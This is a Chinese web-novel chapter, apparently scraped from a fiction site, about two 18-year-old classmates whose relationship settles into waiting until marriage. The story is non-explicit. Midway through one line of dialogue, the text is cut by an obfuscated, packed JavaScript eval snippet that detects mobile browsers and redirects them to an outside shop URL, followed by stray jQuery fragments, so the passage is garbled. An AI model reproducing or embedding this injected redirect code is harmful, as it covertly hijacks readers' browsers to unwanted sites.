周浩觉得自己快憋出毛病了。
不是那种憋。是那种……算了，就是那种憋。
他和林屿在一起快两个月了。这两个月里，他成功从“为女神报仇的钢铁直男”蜕变成“看见林屿就想亲的纯情男高”。蜕变过程之丝滑，连他自己都惊讶。
但问题来了——他亲也亲了，抱也抱了，怎么就是上不了垒呢？
第一次尝试，是在学校天台。
那天他们刚考完模拟考，周浩发挥超常，理综比上次高了二十分。他一高兴，拉着林屿上天台看夕阳。
夕阳很好看，林屿更好看。晚风吹起他的头发，露出干净的额头。周浩没忍住，凑过去亲了他一下。
林屿没躲。
周浩胆子大了，搂着他的腰想加深这个吻。林屿也配合，微微仰头。
气氛很好。手也很自然地往下滑。
然后林屿握住他的手腕。
“不行。”
周浩愣住了：“为什么？”
“没有为什么。”林屿松开他的手，“该回去上晚自习了。”
周浩：“？？？”
这也能刹车？
第二次尝试，是在林屿家。
林屿父母出差，弟弟住校，家里就他一个人。周浩打着“一起写作业”的名义登堂入室。
作业写了一个小时，周浩开始心猿意马。他偷看林屿的侧脸，越看越觉得这人长得过分好看。
“林屿。”
“嗯。”
“你家隔音好吗？”
林屿笔尖一顿，抬眼看他。
“你想干什么？”
“没、没什么。”周浩心虚地移开视线，“就随便问问。”
林屿没说话，继续写题。
周浩又憋了十分钟，终于憋不住了。他挪过去，从后面抱住林屿。
“林屿……”
“嗯。”
“你身上好香。”
“洗衣液。”
“不是那种香。”周浩把下巴搁在他肩上，“是那种……你身上的味道。”
林屿没躲，也没停笔。
周浩胆子又大了。他把手从林屿腰侧往前探，刚碰到衣角——
林屿按住他的手。
“不行。”
“为什么？”
“没有为什么。”林屿站起来，“我去倒水。”
周浩：“…………”
第三次尝试，第四次尝试，第五次尝试。
通通失败。
理由从“没有为什么”升级到“时间不对”“地点不对”“你明天还有篮球赛要早起”。
周浩终于忍不住了。
周五放学，他把林屿堵在实验楼后门。
“林屿，你今天必须把话说清楚。”
林屿看着他：“说什么？”
“说为什么每次一到关键时刻你就喊停。”周浩豁出去了，“你是觉得我技术不行？还是其实你根本就没那么喜欢我？”
林屿沉默了几秒。
“不是。”
“那是什么？”
林屿看着他，眼神很复杂。
“周浩，”他说，“你知道我老家是哪儿的吗？”
周浩愣了一下：“不是本市吗？”
“是本市。”林屿说，“但我外婆家在那个镇。”
他报了个地名。周浩没听过。
“那个地方，”林屿说，“很传统。”
周浩等着他往下说。
“我外婆那一辈，”林屿声音很平静，“女人不能上桌吃饭，男人不能娶外姓人。到我妈那一辈，规矩松了些，但有些东西还在。”
他顿了顿。
“比如，结婚之前，不能做那种事。”
周浩张大嘴。
“你、你是说……”
“对。”林屿看着他，“我家那边的习俗，同房必须结婚之后。或者至少，要见过父母，得到他们同意。”
周浩傻了。
“所、所以你这几次拒绝我，是因为……”
“因为没结婚。”林屿说，“也没见过父母。”
周浩张着嘴，半天没合上。
他设想过很多种理由。林屿害羞，林屿保守，林屿嫌他进度太快。唯独没想过这一种。
“可是，”他艰难地找回声音，“我们都还没高考……”
“我知道。”
“而且我们才十八……”
“我知道。”
“结婚是十年后的事！”
林屿看着他，很认真地说：“那就十年后。”
周浩噎住了。
他看着林屿的眼睛，发现那双眼睛很平静，没有戏谑，没有犹豫。他是认真的。
“林屿，”周浩小心翼翼地问，“你是……认真的？”
“嗯。”
“十年后我们才二十八。”
“二十八可以结婚。”
“万一我们中途分手了呢？”
林屿看着他，没说话。
周浩说完就后悔了。这话太蠢了，蠢到他想抽自己。
“不是，我不是那个意思……”
“周浩。”林屿打断他。
“嗯？”
“你会和我分手吗？”
周浩想都没想：“不会。”
“我也不会。”林屿说，“所以十年后，我们还会在一起。”
周浩愣住了。
他看着林屿，觉得心跳快得要蹦出来。这人怎么……怎么总能一句话就把他堵得死死的？
“可是，”他还在做最后的挣扎，“那这十年怎么办？”
林屿想了想，说：“可以亲。”
“啊？”
“可以抱。”林屿继续说，“可以牵手，可以一起吃饭，一起看电影，一起学习，一起睡觉——只是睡觉。”
他顿了顿。
“其他的，等结婚以后。”
周浩沉默了。
他在心里快速盘算了一下。十年。三千六百五十天。八万七千六百小时。
很长。
但如果是和林屿一起过，好像也不是不能忍。
“那……”他小心翼翼地问，“你爸妈那边，是什么态度？”
林屿沉默了几秒。
“还没说。”
“啊？”
“没找到合适的时机。”林屿说，“我妈……比较传统。”
周浩听懂了。
他没再追问，只是握住林屿的手。
“那等高考完，我跟你一起回去。”
林屿抬眼看他。
“丑女婿总要见岳母的。”周浩咧嘴笑，“早死早超生。”
林屿看着他，嘴角微微弯了一下。
“……你不丑。”
周浩心跳漏了一拍。
“那你的意思是，我挺帅？”
林屿没说话，转身走了。
但周浩看见他耳尖红了。
他站在原地，傻笑了半天。
从那天起，周浩开启了漫长的“忍”字诀生涯。
忍得很辛苦。
但林屿说到做到。不能做的坚决不做，能做的——亲、抱、牵手、一起睡觉——全都给。
周浩发现，林屿给的“亲”和“抱”，比他想象的还要多。
以前是他主动，林屿配合。现在是林屿也会主动，虽然频率不高，但每次都能让周浩开心一整天。
比如某天晚自习结束，周浩送林屿回宿舍。走到宿舍楼下，林屿忽然停住脚步。
“周浩。”
“嗯？”
林屿转身，在他嘴角亲了一下。
“晚安。”
然后头也不回地走进宿舍楼。
周浩站在原地，像被雷劈了一样。
旁边路过的同学用看傻子的眼神看他。他毫不在意，掏出手机给林屿发消息。
“你刚才亲我了！！！”
林屿回：“嗯。”
“为什么突然亲我！！！”
“想亲就亲了。”
周浩盯着屏幕，嘴角咧到耳根。
他把这段对话截图，设成和陆沉远的聊天背景。
陆沉远回他：“有病。”
周浩毫不在意。他觉得他这辈子都没这么开心过。
又比如某个周末，他们在图书馆待到闭馆。出来时外面下雨了，两人只有一把伞。
伞是林屿的，很小，勉强遮两个人。周浩主动把伞往林屿那边推，结果半边肩膀淋湿了。
林屿看了他一眼，没说话。
然后他伸手，揽住周浩的腰，把他往自己这边带了带。
两人几乎贴在一起。
周浩心跳如擂鼓。他低头看林屿，林屿看着前方的路，表情平静，但耳朵红得能滴血。
那一路走得很慢。
周浩希望那条路再长一点。
还有某个深夜，周浩因为篮球赛输了心情不好，一个人躺在操场草坪上发呆。
林屿找到他的时候，他已经躺了快一小时。
“起来。”林屿站在他旁边，“地上凉。”
“不想起。”周浩看着星星，“林屿，你说我是不是很菜？”
“今天那场，你拿了二十分。”
“但是输了。”
“篮球是五个人的运动。”
周浩没说话。
林屿在他旁边坐下。
沉默了很久。久到周浩以为他不会开口了。
然后林屿躺下来，和他并肩看着夜空。
“周浩。”
“嗯。”
“你打得很好。”
周浩转头看他。夜色里，林屿的侧脸被月光镀上一层银边。
“我知道。”周浩小声说，“但还是想听你说。”
林屿没说话。
他只是伸手，握住了周浩的手。
十指相扣。
周浩鼻子一酸。
那天他们在操场躺了很久。没有亲，没有抱，只是牵着手看星星。
但周浩觉得，这是他这辈子最满足的一晚。
日子就这么过着。
周浩慢慢习惯了这种节奏。习惯林屿的克制，习惯林屿的原则，也习惯林屿偶尔主动时那种令人心跳加速的温柔。
他开始觉得，等十年也不是那么难熬。
直到有一天——
那天是周六，林屿爸妈出差回来，林屿要回家吃饭。周浩百无聊赖，去陆沉远家蹭饭。
饭桌上，鹿炽问起他和林屿的进展。
周浩如实相告。
陆沉远听完，筷子停在半空中。
“……他认真的？”
“认真的。”周浩啃着鸡腿，“他说要等结婚以后。”
陆沉远沉默了几秒，转头看鹿炽。
鹿炽没说话，低头吃饭，耳尖微红。
周浩看看他俩，忽然悟了。
“你们俩该不会已经……”
“没有。”陆沉远说。
“没问你。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271916|198139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”周浩看向鹿炽，“鹿炽，你脸怎么红了？”
鹿炽把头埋得更低了。
周浩：“…………”
他放下鸡腿，表情复杂。
“所以全世界就我一个人在守身如玉？”
陆沉远没理他，给鹿炽夹菜。
周浩觉得这个世界对他太不公平了。
周一，周浩把这件事跟林屿说了。
“鹿炽和远哥他们都已经那个了。”他语气委屈，“就我们还在纯洁地手拉手看星星。”
林屿翻了一页书：“所以呢？”
“所以我们能不能也……”
“不能。”
“为什么！”
“说过了，结婚以后。”
“可是他们都——”
“他们是他们，我们是我们。”林屿抬眼看他，“周浩，你很想吗？”
周浩噎住了。
很想吗？
当然想。
他十八岁，血气方刚，每天早上都有正常的生理反应。喜欢的男生天天在他面前晃，他怎么可能不想？
但他看着林屿的眼睛，那些话突然说不出口了。
“也不是……”他挠挠头，“就是觉得，你是不是其实没那么想？”
林屿放下书。
“你为什么会这么想？”
“因为每次你拒绝得都很干脆。”周浩小声说，“好像一点犹豫都没有。”
林屿沉默了一会儿。
“周浩。”
“嗯。”
“不是不想。”他说，“是不敢。”
周浩愣住了。
“我怕。”林屿说，“怕一旦开始了，就停不下来。”
他看着周浩，眼神很认真。
“也怕你只是一时冲动。”
“我不是——”周浩急着辩解。
“我知道你现在不是。”林屿打断他，“但十年后呢？二十年后呢？”
周浩张了张嘴，没发出声音。
“我家的规矩，”林屿说，“看起来很迂腐。但对我来说，它是一个保障。”
他顿了顿。
“它让我相信，你是认真的。”
周浩看着他，心脏像被什么狠狠撞了一下。
原来林屿不是不想。
他是不敢。
他也怕失去。
周浩忽然伸手，把林屿拉进怀里。
“林屿。”他闷闷地说。
“嗯。”
“我是认真的。”他说，“不是一时冲动，不是青春期荷尔蒙。我是真的喜欢你，想跟你过一辈子那种。”
林屿没说话，只是把脸埋在他肩窝。
“所以，”周浩说，“我等你。”
“等多久都等。”
林屿的呼吸轻轻打在他颈侧。
“……嗯。”
那天晚上，周浩在宿舍床上翻来覆去睡不着。
他掏出手机，给林屿发消息。
“睡了没？”
“没。”
“在想你。”
对面沉默了几秒。
然后林屿回：“我也是。”
周浩盯着屏幕，傻笑了半天。
他又发：“林屿。”
“嗯。”
“十年后，我二十八，你二十八。”
“嗯。”
“我们结婚吧。”
这次沉默了很久。
久到周浩以为林屿睡着了。
手机屏幕亮起。
“好。”
周浩抱着手机，激动得想下楼跑三圈。
但他忍住了。
他只是把那个“好”字截了图，设成和所有聊天软件的背景。
然后他给林屿发：“说话算话。”
林屿回：“嗯。”
周浩看着那个“嗯”，觉得这辈子值了。
不就是等十年吗？
他等得起。
反正林屿又跑不掉。
窗外夜色温柔。
周浩躺在床上，想着十年后的某一天，他穿着西装，林屿也穿着西装。他们在某个地方，当着所有人的面，说出“我愿意”。
那画面太美，他想着想着就睡着了。
梦里他还在笑。
第二天，周浩顶着黑眼圈去上课。
林屿看了他一眼：“没睡好？”
“睡得很好。”周浩咧嘴笑，“做了一晚上美梦。”
林屿没问什么梦，只是把保温杯推过来。
“红枣茶，我妈煮的。”
周浩接过杯子，喝了一口，甜丝丝的。
他忽然觉得，等十年好像也没那么难。
毕竟每天都有红枣茶喝。
每天都能看见林屿。
每天都能和他说话，和他牵手，和他一起吃饭学习看星星。
这样过十年，好像也不亏。
他放下杯子，凑近林屿。
“林屿。”
“嗯。”
“我能亲你一下吗？”
林屿看了看周围。早读还没开始，教室里没几个人，都在低头补作业。
他轻轻点了点头。
周浩飞快地在他嘴角啄了一下。
然后坐回去，心满意足地喝红枣茶。
林屿低头看书，耳尖微红。
窗外阳光正好。
距离高考还有四个月。
距离结婚还有十年。
他不急。
他们有一辈子。